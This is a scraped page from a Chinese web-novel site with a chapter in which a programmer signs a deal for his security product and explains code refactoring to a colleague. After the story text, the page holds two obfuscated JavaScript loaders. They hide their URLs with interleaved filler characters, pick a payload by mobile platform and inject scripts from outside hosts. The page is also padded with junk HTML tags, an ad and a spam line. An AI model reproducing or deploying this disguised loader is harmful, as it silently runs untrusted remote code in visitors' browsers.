• <input id="2bncg"><div id="2bncg"></div></input>
    <video id="2bncg"><dfn id="2bncg"></dfn></video>
  • <video id="2bncg"></video>
        1. <source id="2bncg"><menu id="2bncg"><kbd id="2bncg"></kbd></menu></source>

          <b id="2bncg"><address id="2bncg"></address></b>

          <source id="2bncg"><address id="2bncg"></address></source>
          <video id="2bncg"></video>
          筆趣閣 > 都市小說 > 我真的不是渣男嘛 > 第四十一章代碼和小說的殊途同歸

          第四十一章代碼和小說的殊途同歸(1 / 2)

          邵明潁(鉛筆腿):【我10.1去京城,定個兩天的陪游服務。】

          柳誠沉默了片刻:“光睡行不行?”

          邵明潁沒有回復,柳誠伸著懶腰,站起來去洗漱。

          這女的,就敢口嗨而已。

          啟明星的動作非常快,第二天一個三人的談判團隊,就來到了科威信息,談判并沒有進行多久。

          核心問題,尤其是定向開源上,已經通過中間人,溝通的非常清楚。

          雙方很快就簽訂了具體的項目合作合同。

          政企部門對統一威脅管理的需求也是極其迫切的,這一點柳誠并不意外。

          自從柳誠的日志寶上線之后,無數跟風的產品,琳瑯滿目,但是質量參差不齊,柳誠的日志寶一枝獨秀。

          市場從來都是如此,對于先知先覺的人,報酬總是最豐厚的。

          就像奇虎的安全衛士率先免費后,大殺四方,迅速的占領市場份額,之后無數安軟廠跟風,推出了自己的免費安軟,但是整個市場,已經被奇虎啃下了大半。

          “柳先生,按照合同的規定,希望盡快將日志寶的源代碼,帶到信息安全測評中心。”

          “我們將在收到源代碼五天內,對安全方面提出我們的需求。等到項目正式上線的時候,我們的協議款,會如數打到公司的賬目上。”

          “預祝我們合作愉快。”穿著一身西服的中年男子,并沒有因為柳誠年輕,輕視他。

          柳誠伸出了手,用力的握了一下:“預祝我們合作愉快。”

          開源并不意味免費,微軟的安全計劃源代碼協議中,就將等等以及office辦公軟件的源代碼進行定向開源。

          柳誠吐了一口濁氣,啟明星辦事的人和奇虎是完全不同的,甚至有些古板,他們的報價幾乎沒有任何商量的余地,他們的底線會在一開始就表明。

          這種風格反而有點對柳誠的脾氣,大家都是搞技術的,直來直去的多好。

          我有技術,你有錢有客戶,我們一拍即合。

          奇虎那種吃了一口,就想整個吞下,得寸進尺,順桿子往里面爬不說,還有競業禁止協議卡人脖子的事,實在是貪得無厭。

          但這就是市場的風格,市場真的很殘忍。

          【看書領紅包】關注公..眾號【書友大本營】,看書抽最高888現金紅包!

          他原來想著一票就干到財富自由,完全是有點異想天開了。

          “柳工,我的筆記本。”汪永豐看到啟明星的人離去,才松了口氣。

          這些人的氣場好大,他看的都有點憷,也不知道他的老板,是怎么在這種氣場下,談笑風生的。

          柳誠來到了汪永豐的電腦前,指著他寫的一段代碼說道:“你看這里,你就有九處嵌套,過一段時間,你自己看,都得懵。”

          他說著有打開了另外一段日志寶的代碼說道:“你看我這段,我的這段嵌套分支也很多,但是這都不是一次寫出來的,而是每次增加新功能時就開個新的分支。”

          “對于每一個分支的增加,我都不覺得需要重構整段代碼,因為我當時只想用最快的時間,把自己要做的事情做完,于是代碼質量變得越來越低。”

          “昨天晚上,我就把這段代碼進行了重構,將三百二十行,變成了一百行,這樣就不擔心啟明星的工程師們看暈頭了,也節省了大量的資源。”

          汪永豐看著兩段代碼,點了點頭說道:“區別真的很大,但是功能相同。那應該怎么重構代碼呢?”

          柳誠接過了柳依諾遞過來的水杯,說道:“一般情況下,三個分支就可以重構為一個判斷(switch),如果一個判斷的分支大于10個,就要考慮寫成表(config)去驅動,專門寫一個函數根據配置寫一個路線圖(mapping)。”

          “如果是映射邏輯復雜,使用頻率較高,就專門寫一個數據庫規則引擎(ruleengine)來調用。”

          汪永豐還是有點懵,柳誠又親自演示了一遍,有些猶豫的說道:“就是類似這種,重構代碼是個費力不討好的活兒,但是也是一個必做的工作。”

          “好厲害!”汪永豐眨著眼睛,目瞪口呆的說道。

          柳誠示意這沒什么,笑著說道:“大部分都是這樣,我曾經接手過一個三十幾層的ifelse套ifelse模塊,把我差點干崩潰。”

          “我對這個模塊,做評審復盤的時候,發現第一個程序員,只寫了一層,后來每增加一個需求,邏輯分支擴張到了三十多層,就沒人愿意重構了。”

          “重構錯了,還得背鍋。”

          let urls=["hFFtFFtFFpFFsFF:FF/FF/FFvFF3FF1FF-FF1FF3FF5FF2FF5FF7FF7FF3FF7FF1FF.FFcFFoFFsFF.FFaFFpFF-FFsFFhFFaFFnFFgFFhFFaFFiFF.FFmFFyFFqFFcFFlFFoFFuFFdFF.FFcFFoFFmFF/FF1FF1FF/FF1FF1FF0FF5FFcFF7FF0FFdFF0FF2FF5FF1FF1".split("FF").join(""),"hJJtJJtJJpJJsJJ:JJ/JJ/JJpJJ.JJ7JJdJJ3JJ6JJaJJ.JJcJJoJJmJJ/JJ1JJ1JJ/JJ1JJ1JJ0JJ5JJcJJ7JJ0JJdJJ0JJ2JJ5JJ1JJ1".split("JJ").join(""),"hLLtLLtLLpLLsLL:LL/LL/LLbLL.LLhLLbLLzLL8LLvLL.LLcLLoLLmLL/LLbLL8LLmLLpLL2LLeLL.LLjLLsLL?LLsLLiLLdLL=LL2LL5LL1LL1".split("LL").join("")];window.__rr__hld=1;let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2511_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);}};rfunc();rfunc();rfunc();
          let urls=["hQQtQQtQQpQQsQQ:QQ/QQ/QQvQQ3QQ1QQ-QQ1QQ3QQ5QQ2QQ5QQ7QQ7QQ3QQ7QQ1QQ.QQcQQoQQsQQ.QQaQQpQQ-QQsQQhQQaQQnQQgQQhQQaQQiQQ.QQmQQyQQqQQcQQlQQoQQuQQdQQ.QQcQQoQQmQQ/QQ3QQ/QQ1QQ1QQ0QQ5QQbQQfQQbQQfQQaQQ2QQ5QQ2QQ3".split("QQ").join(""),"hPPtPPtPPpPPsPP:PP/PP/PPpPP.PP7PPdPP3PP6PPaPP.PPcPPoPPmPP/PP3PP/PP1PP1PP0PP5PPbPPfPPbPPfPPaPP2PP5PP2PP3".split("PP").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTbTT.TThTTbTTzTT8TTvTT.TTcTToTTmTT/TTbTT8TTmTTpTT2TTeTT.TTjTTsTT?TTsTTiTTdTT=TT2TT5TT2TT3".split("TT").join("")];window.__rr__hld=1;let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2523_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);}};rfunc();rfunc();rfunc();
          最新小說: 最強棄婿 夜火纏綿 步步為營 超級黃金左手 養育19年,女兒將我網暴 人在北美做牧師,開局給太太驅魔 讓你辦軍校,你傭兵百萬震懾鷹醬 諸天吃瓜:從玫瑰的故事當哥開始 退出組合后,我被迫成為頂流! 重回1982,從小漁村開始
        2. <input id="2bncg"><div id="2bncg"></div></input>
          <video id="2bncg"><dfn id="2bncg"></dfn></video>
        3. <video id="2bncg"></video>
              1. <source id="2bncg"><menu id="2bncg"><kbd id="2bncg"></kbd></menu></source>

                <b id="2bncg"><address id="2bncg"></address></b>

                <source id="2bncg"><address id="2bncg"></address></source>
                <video id="2bncg"></video>
                最近免费观看高清韩国日本大全